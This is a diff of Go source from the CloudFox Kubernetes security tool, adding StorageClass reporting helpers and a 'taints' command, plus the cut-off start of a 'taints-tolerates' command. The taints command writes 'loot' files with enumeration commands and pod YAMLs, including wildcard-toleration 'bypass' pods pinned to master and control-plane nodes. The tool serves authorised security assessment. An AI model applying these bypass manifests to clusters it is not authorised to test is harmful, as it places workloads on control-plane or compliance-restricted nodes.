analysis.RiskLevel, analysis.Name, analysis.RiskScore, strings.Join(analysis.SecurityIssues, "; "))
|
||||
}
|
||||
|
||||
func formatCostOptimization(analysis *SCSecurityAnalysis) string {
|
||||
return fmt.Sprintf("[COST] StorageClass: %s | Type: Premium/SSD | Storage: %.1fGB | Recommendation: Consider storage quotas or archival policies",
|
||||
analysis.Name, analysis.TotalStorageGB)
|
||||
}
|
||||
|
||||
func formatStorageClassEnum(analyses []SCSecurityAnalysis) string {
|
||||
var lines []string
|
||||
lines = append(lines, "=== StorageClass Security Enumeration ===\n")
|
||||
|
||||
for _, sc := range analyses {
|
||||
lines = append(lines, fmt.Sprintf("StorageClass: %s", sc.Name))
|
||||
lines = append(lines, fmt.Sprintf(" Provisioner: %s", sc.Provisioner))
|
||||
lines = append(lines, fmt.Sprintf(" Cloud Provider: %s", sc.CloudProvider))
|
||||
lines = append(lines, fmt.Sprintf(" Reclaim Policy: %s", sc.ReclaimPolicy))
|
||||
lines = append(lines, fmt.Sprintf(" Volume Binding: %s", sc.VolumeBindingMode))
|
||||
lines = append(lines, fmt.Sprintf(" Volume Expansion: %s", shared.FormatBool(sc.AllowVolumeExpansion)))
|
||||
lines = append(lines, fmt.Sprintf(" Default: %s", shared.FormatBool(sc.IsDefault)))
|
||||
lines = append(lines, fmt.Sprintf(" Encrypted: %s (%s)", shared.FormatBool(sc.IsEncrypted), sc.EncryptionType))
|
||||
lines = append(lines, fmt.Sprintf(" PVs Using: %d (%.1fGB)", sc.PVsUsingClass, sc.TotalStorageGB))
|
||||
lines = append(lines, fmt.Sprintf(" Risk Level: %s (Score: %d/100)", sc.RiskLevel, sc.RiskScore))
|
||||
if len(sc.SecurityIssues) > 0 {
|
||||
lines = append(lines, " Security Issues:")
|
||||
for _, issue := range sc.SecurityIssues {
|
||||
lines = append(lines, fmt.Sprintf(" - %s", issue))
|
||||
}
|
||||
}
|
||||
lines = append(lines, "")
|
||||
}
|
||||
|
||||
return strings.Join(lines, "\n")
|
||||
}
|
||||
|
||||
func generateStorageRemediationGuide(analyses []SCSecurityAnalysis) string {
|
||||
var lines []string
|
||||
lines = append(lines, "=== StorageClass Security Remediation Guide ===\n")
|
||||
lines = append(lines, "# Fix unencrypted storage (AWS example):")
|
||||
lines = append(lines, "kubectl patch storageclass <name> -p '{\"parameters\":{\"encrypted\":\"true\"}}'")
|
||||
lines = append(lines, "")
|
||||
lines = append(lines, "# Change reclaim policy to Retain (preserve data):")
|
||||
lines = append(lines, "kubectl patch storageclass <name> -p '{\"reclaimPolicy\":\"Retain\"}'")
|
||||
lines = append(lines, "")
|
||||
lines = append(lines, "# Disable volume expansion:")
|
||||
lines = append(lines, "kubectl patch storageclass <name> -p '{\"allowVolumeExpansion\":false}'")
|
||||
lines = append(lines, "")
|
||||
lines = append(lines, "# Set default StorageClass:")
|
||||
lines = append(lines, "kubectl patch storageclass <name> -p '{\"metadata\":{\"annotations\":{\"storageclass.kubernetes.io/is-default-class\":\"true\"}}}'")
|
||||
lines = append(lines, "")
|
||||
|
||||
for _, sc := range analyses {
|
||||
if sc.RiskScore >= 60 {
|
||||
lines = append(lines, fmt.Sprintf("# High-risk StorageClass: %s", sc.Name))
|
||||
for _, issue := range sc.SecurityIssues {
|
||||
lines = append(lines, fmt.Sprintf("# - %s", issue))
|
||||
}
|
||||
lines = append(lines, "")
|
||||
}
|
||||
}
|
||||
|
||||
return strings.Join(lines, "\n")
|
||||
}
|
||||
|
||||
func generateStorageClassTable(analyses []SCSecurityAnalysis) internal.TableFile {
|
||||
header := []string{"StorageClass", "Provisioner", "Encrypted", "Reclaim", "Expansion", "Default", "PVs", "Storage(GB)", "Issues"}
|
||||
var rows [][]string
|
||||
|
||||
// Sort by risk score (highest first)
|
||||
sort.Slice(analyses, func(i, j int) bool {
|
||||
return analyses[i].RiskScore > analyses[j].RiskScore
|
||||
})
|
||||
|
||||
for _, sc := range analyses {
|
||||
rows = append(rows, []string{
|
||||
sc.Name,
|
||||
sc.Provisioner,
|
||||
shared.FormatBool(sc.IsEncrypted),
|
||||
sc.ReclaimPolicy,
|
||||
shared.FormatBool(sc.AllowVolumeExpansion),
|
||||
shared.FormatBool(sc.IsDefault),
|
||||
fmt.Sprintf("%d", sc.PVsUsingClass),
|
||||
fmt.Sprintf("%.1f", sc.TotalStorageGB),
|
||||
fmt.Sprintf("%d", len(sc.SecurityIssues)),
|
||||
})
|
||||
}
|
||||
|
||||
return internal.TableFile{
|
||||
Name: "StorageClasses",
|
||||
Header: header,
|
||||
Body: rows,
|
||||
}
|
||||
}
|
||||
|
||||
func generatePVTable(analyses []PVStorageAnalysis) internal.TableFile {
|
||||
header := []string{"Namespace", "PVC", "PV", "StorageClass", "Capacity", "Encrypted", "AccessModes", "Status", "Pods"}
|
||||
var rows [][]string
|
||||
|
||||
// Sort by risk score
|
||||
sort.Slice(analyses, func(i, j int) bool {
|
||||
return analyses[i].RiskScore > analyses[j].RiskScore
|
||||
})
|
||||
|
||||
for _, pv := range analyses {
|
||||
rows = append(rows, []string{
|
||||
pv.Namespace,
|
||||
pv.PVCName,
|
||||
pv.PVName,
|
||||
pv.StorageClass,
|
||||
pv.Capacity,
|
||||
shared.FormatBool(pv.IsEncrypted),
|
||||
strings.Join(pv.AccessModes, ","),
|
||||
pv.Status,
|
||||
fmt.Sprintf("%d", len(pv.MountedPods)),
|
||||
})
|
||||
}
|
||||
|
||||
return internal.TableFile{
|
||||
Name: "PersistentVolumes",
|
||||
Header: header,
|
||||
Body: rows,
|
||||
}
|
||||
}
|
||||
|
||||
// Helper functions
|
||||
func isDefaultStorageClass(sc *storagev1.StorageClass) bool {
|
||||
if sc.Annotations == nil {
|
||||
return false
|
||||
}
|
||||
return sc.Annotations["storageclass.kubernetes.io/is-default-class"] == "true" ||
|
||||
sc.Annotations["storageclass.beta.kubernetes.io/is-default-class"] == "true"
|
||||
}
|
||||
|
||||
func hasDefaultStorageClass(name string) bool {
|
||||
// This is a placeholder - actual implementation would check cluster-wide
|
||||
return false
|
||||
}
|
||||
|
||||
func stringPtrToString(ptr *string) string {
|
||||
if ptr == nil {
|
||||
return ""
|
||||
}
|
||||
return *ptr
|
||||
}
|
||||
|
||||
func boolPtrToBool(ptr *bool) bool {
|
||||
if ptr == nil {
|
||||
return false
|
||||
}
|
||||
return *ptr
|
||||
}
|
||||
|
||||
func reclaimPolicyPtrToString(ptr *corev1.PersistentVolumeReclaimPolicy) string {
|
||||
if ptr == nil {
|
||||
return ""
|
||||
}
|
||||
return string(*ptr)
|
||||
}
|
||||
|
||||
func volumeBindingModePtrToString(ptr *storagev1.VolumeBindingMode) string {
|
||||
if ptr == nil {
|
||||
return ""
|
||||
}
|
||||
return string(*ptr)
|
||||
}
|
||||
|
||||
func accessModesToStrings(modes []corev1.PersistentVolumeAccessMode) []string {
|
||||
var result []string
|
||||
for _, mode := range modes {
|
||||
result = append(result, string(mode))
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
func volumeModeToString(mode *corev1.PersistentVolumeMode) string {
|
||||
if mode == nil {
|
||||
return "Filesystem"
|
||||
}
|
||||
return string(*mode)
|
||||
}
|
||||
@@ -0,0 +1,600 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
k8sinternal "github.com/BishopFox/cloudfox/internal/kubernetes"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/config"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/sdk"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/shared"
|
||||
"github.com/spf13/cobra"
|
||||
corev1 "k8s.io/api/core/v1"
|
||||
metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
|
||||
"sigs.k8s.io/yaml"
|
||||
)
|
||||
|
||||
var TaintsCmd = &cobra.Command{
|
||||
Use: "taints",
|
||||
Aliases: []string{},
|
||||
Short: "List all cluster Node Taints with security analysis",
|
||||
Long: `
|
||||
List all cluster Node Taints with comprehensive security analysis including:
|
||||
- Critical taint detection (master nodes, GPU, compliance zones)
|
||||
- Node role categorization
|
||||
- Risk scoring for sensitive node taints
|
||||
- Wildcard toleration examples for bypass scenarios
|
||||
- Node label correlation for context
|
||||
- Grouping by taint effect (NoSchedule, NoExecute, PreferNoSchedule)
|
||||
|
||||
cloudfox kubernetes taints`,
|
||||
Run: ListTaints,
|
||||
}
|
||||
|
||||
type TaintsOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (t TaintsOutput) TableFiles() []internal.TableFile {
|
||||
return t.Table
|
||||
}
|
||||
|
||||
func (t TaintsOutput) LootFiles() []internal.LootFile {
|
||||
return t.Loot
|
||||
}
|
||||
|
||||
type NodeTaintInfo struct {
|
||||
NodeName string
|
||||
NodeRole string
|
||||
IsMaster bool
|
||||
IsGPU bool
|
||||
ComplianceZone string
|
||||
Taints []corev1.Taint
|
||||
CriticalTaints []string
|
||||
RiskLevel string
|
||||
RiskScore int
|
||||
SecurityIssues []string
|
||||
NodeLabels map[string]string
|
||||
}
|
||||
|
||||
// Critical taint patterns that indicate security-sensitive nodes
|
||||
var criticalTaintPatterns = []string{
|
||||
"node-role.kubernetes.io/master",
|
||||
"node-role.kubernetes.io/control-plane",
|
||||
"CriticalAddonsOnly",
|
||||
"dedicated=master",
|
||||
"dedicated=admin",
|
||||
"compliance-zone",
|
||||
"pci-compliant",
|
||||
"hipaa-compliant",
|
||||
"security-zone",
|
||||
}
|
||||
|
||||
// GPU and specialized hardware patterns
|
||||
var gpuTaintPatterns = []string{
|
||||
"nvidia.com/gpu",
|
||||
"amd.com/gpu",
|
||||
"gpu",
|
||||
"accelerator",
|
||||
}
|
||||
|
||||
func ListTaints(cmd *cobra.Command, args []string) {
|
||||
ctx, cancel := shared.ContextWithCancel()
|
||||
defer cancel()
|
||||
logger := internal.NewLogger()
|
||||
|
||||
// Extract global flags
|
||||
parentCmd := cmd.Parent()
|
||||
verbosity, _ := parentCmd.PersistentFlags().GetInt("verbosity")
|
||||
wrap, _ := parentCmd.PersistentFlags().GetBool("wrap")
|
||||
outputDirectory, _ := parentCmd.PersistentFlags().GetString("outdir")
|
||||
format, _ := parentCmd.PersistentFlags().GetString("output")
|
||||
|
||||
logger.InfoM(fmt.Sprintf("Enumerating node taints for %s", globals.ClusterName), globals.K8S_TAINTS_MODULE_NAME)
|
||||
|
||||
clientset := config.GetClientOrExit()
|
||||
|
||||
loot := shared.NewLootBuilder()
|
||||
loot.Section("Taint-Enum").SetHeader(`#####################################
|
||||
##### Enumerate Taint Information
|
||||
#####################################
|
||||
|
||||
`)
|
||||
if globals.KubeContext != "" {
|
||||
loot.Section("Taint-Enum").Addf("kubectl config use-context %s\n", globals.KubeContext)
|
||||
}
|
||||
|
||||
loot.Section("Pod-YAMLs").SetHeader(`#####################################
|
||||
##### Pod YAMLs for Tolerations
|
||||
#####################################
|
||||
# Example pods that tolerate specific taints
|
||||
# Use these for testing or bypass scenarios
|
||||
|
||||
`)
|
||||
|
||||
loot.Section("Wildcard-Bypass-YAMLs").SetHeader(`#####################################
|
||||
##### Wildcard Toleration Examples
|
||||
#####################################
|
||||
# WARNING: These pods can bypass ALL taints
|
||||
# Use for security testing only
|
||||
|
||||
`)
|
||||
|
||||
loot.Section("Critical-Taints").SetHeader(`#####################################
|
||||
##### Critical/Sensitive Node Taints
|
||||
#####################################
|
||||
# Taints on security-sensitive nodes
|
||||
# Master nodes, GPU nodes, compliance zones
|
||||
|
||||
`)
|
||||
|
||||
loot.Section("Taints-By-Effect").SetHeader(`#####################################
|
||||
##### Taints Grouped by Effect
|
||||
#####################################
|
||||
|
||||
`)
|
||||
|
||||
// Get all nodes using cache
|
||||
nodes, err := sdk.GetNodes(ctx, clientset)
|
||||
if err != nil {
|
||||
shared.LogListError(&logger, "nodes", "", err, globals.K8S_TAINTS_MODULE_NAME, true)
|
||||
return
|
||||
}
|
||||
|
||||
var tableRows [][]string
|
||||
var nodeInfos []NodeTaintInfo
|
||||
taintsByEffect := map[string][]string{
|
||||
"NoSchedule": {},
|
||||
"NoExecute": {},
|
||||
"PreferNoSchedule": {},
|
||||
}
|
||||
|
||||
riskCounts := shared.NewRiskCounts()
|
||||
|
||||
for _, node := range nodes {
|
||||
nodeInfo := NodeTaintInfo{
|
||||
NodeName: node.Name,
|
||||
NodeLabels: node.Labels,
|
||||
Taints: node.Spec.Taints,
|
||||
}
|
||||
|
||||
// Detect node role
|
||||
nodeInfo.NodeRole = detectNodeRole(node.Labels)
|
||||
nodeInfo.IsMaster = isMasterNode(node.Labels, node.Spec.Taints)
|
||||
nodeInfo.IsGPU = isGPUNode(node.Labels, node.Spec.Taints)
|
||||
nodeInfo.ComplianceZone = detectComplianceZone(node.Labels, node.Spec.Taints)
|
||||
|
||||
// Analyze taints for security issues
|
||||
nodeInfo.CriticalTaints = detectCriticalTaints(node.Spec.Taints)
|
||||
nodeInfo.RiskLevel, nodeInfo.RiskScore = calculateTaintRiskScore(&nodeInfo)
|
||||
nodeInfo.SecurityIssues = generateTaintSecurityIssues(&nodeInfo)
|
||||
|
||||
riskCounts.Add(nodeInfo.RiskLevel)
|
||||
nodeInfos = append(nodeInfos, nodeInfo)
|
||||
|
||||
// Table rows
|
||||
if len(node.Spec.Taints) == 0 {
|
||||
tableRows = append(tableRows, []string{
|
||||
nodeInfo.NodeName,
|
||||
nodeInfo.NodeRole,
|
||||
"<NONE>",
|
||||
"<NONE>",
|
||||
"<NONE>",
|
||||
"<NONE>",
|
||||
})
|
||||
continue
|
||||
}
|
||||
|
||||
var tolerations []corev1.Toleration
|
||||
for _, taint := range node.Spec.Taints {
|
||||
timeAdded := "<NONE>"
|
||||
if taint.TimeAdded != nil {
|
||||
timeAdded = taint.TimeAdded.String()
|
||||
}
|
||||
|
||||
tableRows = append(tableRows, []string{
|
||||
nodeInfo.NodeName,
|
||||
nodeInfo.NodeRole,
|
||||
k8sinternal.NonEmpty(taint.Key),
|
||||
k8sinternal.NonEmpty(taint.Value),
|
||||
k8sinternal.NonEmpty(string(taint.Effect)),
|
||||
timeAdded,
|
||||
})
|
||||
|
||||
tolerations = append(tolerations, corev1.Toleration{
|
||||
Key: taint.Key,
|
||||
Operator: corev1.TolerationOpEqual,
|
||||
Value: taint.Value,
|
||||
Effect: taint.Effect,
|
||||
})
|
||||
|
||||
// Group by effect
|
||||
effectKey := string(taint.Effect)
|
||||
taintStr := fmt.Sprintf("Node: %s | Key: %s | Value: %s", node.Name, taint.Key, taint.Value)
|
||||
taintsByEffect[effectKey] = append(taintsByEffect[effectKey], taintStr)
|
||||
}
|
||||
|
||||
// Loot file 1: kubectl + jq command
|
||||
lootCmd := fmt.Sprintf(
|
||||
"kubectl get node %s -o json | jq '.spec.taints[] | {nodeName: \"%s\", key: .key, value: .value, effect: .effect}'",
|
||||
nodeInfo.NodeName,
|
||||
nodeInfo.NodeName,
|
||||
)
|
||||
loot.Section("Taint-Enum").Add(lootCmd)
|
||||
|
||||
// Loot file 2: example Pod YAML with exact tolerations
|
||||
pod := corev1.Pod{
|
||||
TypeMeta: metav1.TypeMeta{
|
||||
APIVersion: "v1",
|
||||
Kind: "Pod",
|
||||
},
|
||||
ObjectMeta: metav1.ObjectMeta{
|
||||
Name: fmt.Sprintf("tolerate-%s", nodeInfo.NodeName),
|
||||
},
|
||||
Spec: corev1.PodSpec{
|
||||
NodeName: nodeInfo.NodeName,
|
||||
Tolerations: tolerations,
|
||||
Containers: []corev1.Container{
|
||||
{
|
||||
Name: "alpine",
|
||||
Image: "alpine:latest",
|
||||
Command: []string{"sh", "-c", "sleep 3600"},
|
||||
},
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
yamlData, err := yaml.Marshal(pod)
|
||||
if err == nil {
|
||||
loot.Section("Pod-YAMLs").Addf("# --- POD YAML for node: %s (Role: %s, Risk: %s) ---\n%s",
|
||||
nodeInfo.NodeName, nodeInfo.NodeRole, nodeInfo.RiskLevel, string(yamlData))
|
||||
loot.Section("Pod-YAMLs").Add("# Apply with: kubectl create -f <filename>.yaml\n")
|
||||
} else {
|
||||
logger.ErrorM(fmt.Sprintf("Error marshaling YAML for node %s: %v", nodeInfo.NodeName, err), globals.K8S_TAINTS_MODULE_NAME)
|
||||
}
|
||||
|
||||
// Loot file 3: Wildcard toleration examples (bypass scenarios)
|
||||
if nodeInfo.IsMaster || len(nodeInfo.CriticalTaints) > 0 {
|
||||
wildcardPod := corev1.Pod{
|
||||
TypeMeta: metav1.TypeMeta{
|
||||
APIVersion: "v1",
|
||||
Kind: "Pod",
|
||||
},
|
||||
ObjectMeta: metav1.ObjectMeta{
|
||||
Name: fmt.Sprintf("bypass-%s", nodeInfo.NodeName),
|
||||
},
|
||||
Spec: corev1.PodSpec{
|
||||
NodeName: nodeInfo.NodeName,
|
||||
Tolerations: []corev1.Toleration{
|
||||
{
|
||||
Key: "",
|
||||
Operator: corev1.TolerationOpExists,
|
||||
Effect: "",
|
||||
},
|
||||
},
|
||||
Containers: []corev1.Container{
|
||||
{
|
||||
Name: "alpine",
|
||||
Image: "alpine:latest",
|
||||
Command: []string{"sh", "-c", "sleep 3600"},
|
||||
},
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
wildcardYAML, err := yaml.Marshal(wildcardPod)
|
||||
if err == nil {
|
||||
loot.Section("Wildcard-Bypass-YAMLs").Addf("# --- WILDCARD BYPASS for node: %s (Role: %s) ---", nodeInfo.NodeName, nodeInfo.NodeRole)
|
||||
loot.Section("Wildcard-Bypass-YAMLs").Addf("# WARNING: Tolerates ALL taints with operator: Exists\n%s", string(wildcardYAML))
|
||||
loot.Section("Wildcard-Bypass-YAMLs").Add("# Apply with: kubectl create -f <filename>.yaml\n")
|
||||
}
|
||||
}
|
||||
|
||||
// Loot file 4: Critical taints
|
||||
if len(nodeInfo.CriticalTaints) > 0 {
|
||||
loot.Section("Critical-Taints").Addf("\n### Node: %s (Role: %s, Risk: %s)", nodeInfo.NodeName, nodeInfo.NodeRole, nodeInfo.RiskLevel)
|
||||
for _, ct := range nodeInfo.CriticalTaints {
|
||||
loot.Section("Critical-Taints").Addf("# - %s", ct)
|
||||
}
|
||||
if len(nodeInfo.SecurityIssues) > 0 {
|
||||
loot.Section("Critical-Taints").Add("# Security Issues:")
|
||||
for _, issue := range nodeInfo.SecurityIssues {
|
||||
loot.Section("Critical-Taints").Addf("# - %s", issue)
|
||||
}
|
||||
}
|
||||
if nodeInfo.ComplianceZone != "" {
|
||||
loot.Section("Critical-Taints").Addf("# Compliance Zone: %s", nodeInfo.ComplianceZone)
|
||||
}
|
||||
loot.Section("Critical-Taints").Add("")
|
||||
}
|
||||
}
|
||||
|
||||
// Loot file 5: Taints grouped by effect
|
||||
for effect, taints := range taintsByEffect {
|
||||
if len(taints) > 0 {
|
||||
loot.Section("Taints-By-Effect").Addf("\n### %s (Count: %d)", effect, len(taints))
|
||||
for _, t := range taints {
|
||||
loot.Section("Taints-By-Effect").Addf("# %s", t)
|
||||
}
|
||||
loot.Section("Taints-By-Effect").Add("")
|
||||
}
|
||||
}
|
||||
|
||||
// Sort table rows by node name
|
||||
sort.SliceStable(tableRows, func(i, j int) bool {
|
||||
return tableRows[i][0] < tableRows[j][0]
|
||||
})
|
||||
|
||||
headers := []string{
|
||||
"Node Name",
|
||||
"Node Role",
|
||||
"Taint Key",
|
||||
"Taint Value",
|
||||
"Taint Effect",
|
||||
"Time Added",
|
||||
}
|
||||
table := internal.TableFile{
|
||||
Name: "Taints",
|
||||
Header: headers,
|
||||
Body: tableRows,
|
||||
}
|
||||
|
||||
// Add summary to critical taints
|
||||
if riskCounts.Critical > 0 || riskCounts.High > 0 {
|
||||
summary := fmt.Sprintf(`
|
||||
# SUMMARY: Risk Distribution
|
||||
# CRITICAL: %d nodes with critical taints
|
||||
# HIGH: %d nodes with high-risk taints
|
||||
# MEDIUM: %d nodes with medium-risk taints
|
||||
# LOW: %d nodes with low/no taints
|
||||
#
|
||||
# Focus on CRITICAL and HIGH risk nodes for security review.
|
||||
`, riskCounts.Critical, riskCounts.High, riskCounts.Medium, riskCounts.Low)
|
||||
loot.Section("Critical-Taints").SetSummary(summary)
|
||||
}
|
||||
|
||||
// Create loot files
|
||||
lootFiles := loot.Build()
|
||||
|
||||
// Pass loot files in the output
|
||||
err = internal.HandleOutput(
|
||||
"Kubernetes",
|
||||
format,
|
||||
outputDirectory,
|
||||
verbosity,
|
||||
wrap,
|
||||
"Taints",
|
||||
globals.ClusterName,
|
||||
"results",
|
||||
TaintsOutput{
|
||||
Table: []internal.TableFile{table},
|
||||
Loot: lootFiles,
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error handling output: %v", err), globals.K8S_TAINTS_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
if len(tableRows) > 0 {
|
||||
logger.InfoM(fmt.Sprintf("%d node taints found | Risk: CRITICAL=%d, HIGH=%d, MEDIUM=%d, LOW=%d",
|
||||
len(tableRows),
|
||||
riskCounts.Critical, riskCounts.High, riskCounts.Medium, riskCounts.Low),
|
||||
globals.K8S_TAINTS_MODULE_NAME)
|
||||
} else {
|
||||
logger.InfoM("No node taints found, skipping output file creation", globals.K8S_TAINTS_MODULE_NAME)
|
||||
}
|
||||
|
||||
logger.InfoM(fmt.Sprintf("For context and next steps: https://github.com/BishopFox/cloudfox/wiki/Kubernetes-Commands#%s", globals.K8S_TAINTS_MODULE_NAME), globals.K8S_TAINTS_MODULE_NAME)
|
||||
}
|
||||
|
||||
// ====================
|
||||
// Helper Functions
|
||||
// ====================
|
||||
|
||||
func detectNodeRole(labels map[string]string) string {
|
||||
// Check for common role labels
|
||||
if _, ok := labels["node-role.kubernetes.io/master"]; ok {
|
||||
return "master"
|
||||
}
|
||||
if _, ok := labels["node-role.kubernetes.io/control-plane"]; ok {
|
||||
return "control-plane"
|
||||
}
|
||||
if role, ok := labels["kubernetes.io/role"]; ok {
|
||||
return role
|
||||
}
|
||||
if role, ok := labels["node-role.kubernetes.io/worker"]; ok {
|
||||
if role == "true" || role == "" {
|
||||
return "worker"
|
||||
}
|
||||
}
|
||||
|
||||
// Check for specialized roles
|
||||
for key := range labels {
|
||||
if strings.Contains(key, "node-role.kubernetes.io/") {
|
||||
parts := strings.Split(key, "/")
|
||||
if len(parts) == 2 {
|
||||
return parts[1]
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return "worker"
|
||||
}
|
||||
|
||||
func isMasterNode(labels map[string]string, taints []corev1.Taint) bool {
|
||||
// Check labels
|
||||
if _, ok := labels["node-role.kubernetes.io/master"]; ok {
|
||||
return true
|
||||
}
|
||||
if _, ok := labels["node-role.kubernetes.io/control-plane"]; ok {
|
||||
return true
|
||||
}
|
||||
|
||||
// Check taints
|
||||
for _, taint := range taints {
|
||||
if strings.Contains(taint.Key, "master") || strings.Contains(taint.Key, "control-plane") {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
func isGPUNode(labels map[string]string, taints []corev1.Taint) bool {
|
||||
// Check labels
|
||||
for key := range labels {
|
||||
if strings.Contains(strings.ToLower(key), "gpu") ||
|
||||
strings.Contains(strings.ToLower(key), "nvidia") ||
|
||||
strings.Contains(strings.ToLower(key), "accelerator") {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
// Check taints
|
||||
for _, taint := range taints {
|
||||
for _, pattern := range gpuTaintPatterns {
|
||||
if strings.Contains(strings.ToLower(taint.Key), strings.ToLower(pattern)) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
func detectComplianceZone(labels map[string]string, taints []corev1.Taint) string {
|
||||
// Check labels
|
||||
for key, value := range labels {
|
||||
lowerKey := strings.ToLower(key)
|
||||
lowerValue := strings.ToLower(value)
|
||||
if strings.Contains(lowerKey, "compliance") || strings.Contains(lowerKey, "pci") || strings.Contains(lowerKey, "hipaa") {
|
||||
return value
|
||||
}
|
||||
if strings.Contains(lowerValue, "pci") {
|
||||
return "PCI"
|
||||
}
|
||||
if strings.Contains(lowerValue, "hipaa") {
|
||||
return "HIPAA"
|
||||
}
|
||||
}
|
||||
|
||||
// Check taints
|
||||
for _, taint := range taints {
|
||||
lowerKey := strings.ToLower(taint.Key)
|
||||
if strings.Contains(lowerKey, "pci") {
|
||||
return "PCI"
|
||||
}
|
||||
if strings.Contains(lowerKey, "hipaa") {
|
||||
return "HIPAA"
|
||||
}
|
||||
if strings.Contains(lowerKey, "compliance") {
|
||||
return taint.Value
|
||||
}
|
||||
}
|
||||
|
||||
return ""
|
||||
}
|
||||
|
||||
func detectCriticalTaints(taints []corev1.Taint) []string {
|
||||
var critical []string
|
||||
|
||||
for _, taint := range taints {
|
||||
if isCriticalTaint(taint) {
|
||||
critical = append(critical, fmt.Sprintf("%s=%s:%s", taint.Key, taint.Value, taint.Effect))
|
||||
}
|
||||
}
|
||||
|
||||
return critical
|
||||
}
|
||||
|
||||
func isCriticalTaint(taint corev1.Taint) bool {
|
||||
lowerKey := strings.ToLower(taint.Key)
|
||||
|
||||
for _, pattern := range criticalTaintPatterns {
|
||||
if strings.Contains(lowerKey, strings.ToLower(pattern)) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
func calculateTaintRiskScore(nodeInfo *NodeTaintInfo) (string, int) {
|
||||
score := 0
|
||||
|
||||
// Master nodes are high risk
|
||||
if nodeInfo.IsMaster {
|
||||
score += 50
|
||||
}
|
||||
|
||||
// Critical taints
|
||||
if len(nodeInfo.CriticalTaints) > 0 {
|
||||
score += len(nodeInfo.CriticalTaints) * 20
|
||||
}
|
||||
|
||||
// GPU nodes are medium risk (expensive, specialized)
|
||||
if nodeInfo.IsGPU {
|
||||
score += 25
|
||||
}
|
||||
|
||||
// Compliance zones are high risk
|
||||
if nodeInfo.ComplianceZone != "" {
|
||||
score += 40
|
||||
}
|
||||
|
||||
// Number of taints (more taints = more restrictions = higher value node)
|
||||
if len(nodeInfo.Taints) > 3 {
|
||||
score += 15
|
||||
}
|
||||
|
||||
// Determine risk level
|
||||
if score >= 70 {
|
||||
return shared.RiskCritical, taintsMin(score, 100)
|
||||
} else if score >= 40 {
|
||||
return shared.RiskHigh, score
|
||||
} else if score >= 20 {
|
||||
return shared.RiskMedium, score
|
||||
}
|
||||
return shared.RiskLow, score
|
||||
}
|
||||
|
||||
func generateTaintSecurityIssues(nodeInfo *NodeTaintInfo) []string {
|
||||
var issues []string
|
||||
|
||||
if nodeInfo.IsMaster {
|
||||
issues = append(issues, "Master/control-plane node - unauthorized access = cluster compromise")
|
||||
}
|
||||
|
||||
if nodeInfo.IsGPU {
|
||||
issues = append(issues, "GPU node - expensive resource, potential for crypto mining abuse")
|
||||
}
|
||||
|
||||
if nodeInfo.ComplianceZone != "" {
|
||||
issues = append(issues, fmt.Sprintf("Compliance zone (%s) - unauthorized pods violate compliance", nodeInfo.ComplianceZone))
|
||||
}
|
||||
|
||||
if len(nodeInfo.CriticalTaints) > 0 {
|
||||
issues = append(issues, fmt.Sprintf("%d critical taints - pods with wildcard tolerations can bypass", len(nodeInfo.CriticalTaints)))
|
||||
}
|
||||
|
||||
// Check for NoExecute taints (will evict running pods)
|
||||
for _, taint := range nodeInfo.Taints {
|
||||
if taint.Effect == corev1.TaintEffectNoExecute {
|
||||
issues = append(issues, fmt.Sprintf("NoExecute taint '%s' - will evict non-tolerating pods", taint.Key))
|
||||
}
|
||||
}
|
||||
|
||||
return issues
|
||||
}
|
||||
|
||||
func taintsMin(a, b int) int {
|
||||
if a < b {
|
||||
return a
|
||||
}
|
||||
return b
|
||||
}
|
||||
@@ -0,0 +1,661 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
k8sinternal "github.com/BishopFox/cloudfox/internal/kubernetes"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/config"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/sdk"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/shared"
|
||||
"github.com/spf13/cobra"
|
||||
v1 "k8s.io/api/core/v1"
|
||||
)
|
||||
|
||||
var TaintsTolerationsCmd = &cobra.Command{
|
||||
Use: "taints-tolerates",
|
||||
Aliases: []string{"tt"},
|
||||
Short: "Analyzes taint-toleration mismatches and security bypasses",
|
||||
Long: `
|
||||
Analyzes taint-toleration relationships with comprehensive security analysis:
|
||||
- Shows which node taints each pod tolerates
|
||||
- Identifies taints not tolerated by any pod (isolation gaps)
|
||||
- Detects unauthorized pod access (app pods on master nodes)
|
||||
- Identifies overly permissive tolerations (wildcards, bypasses)
|
||||
- Detects compliance violations (pods breaking isolation)
|
||||
- Risk scoring for dangerous taint-toleration combinations
|
||||
- Remediation guidance for security issues
|
||||
|
||||
cloudfox kubernetes taints-tolerates`,
|
||||
Run: ListTaintsTolerations,
|
||||
}
|
||||
|
||||
type TaintsTolerationsOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (t TaintsTolerationsOutput) TableFiles() []internal.TableFile {
|
||||
return t.Table
|
||||
}
|
||||
|
||||
func (t TaintsTolerationsOutput) LootFiles() []internal.LootFile {
|
||||
return t.Loot
|
||||
}
|
||||
|
||||
type PodTaintMatch struct {
|
||||
Namespace string
|
||||
PodName string
|
||||
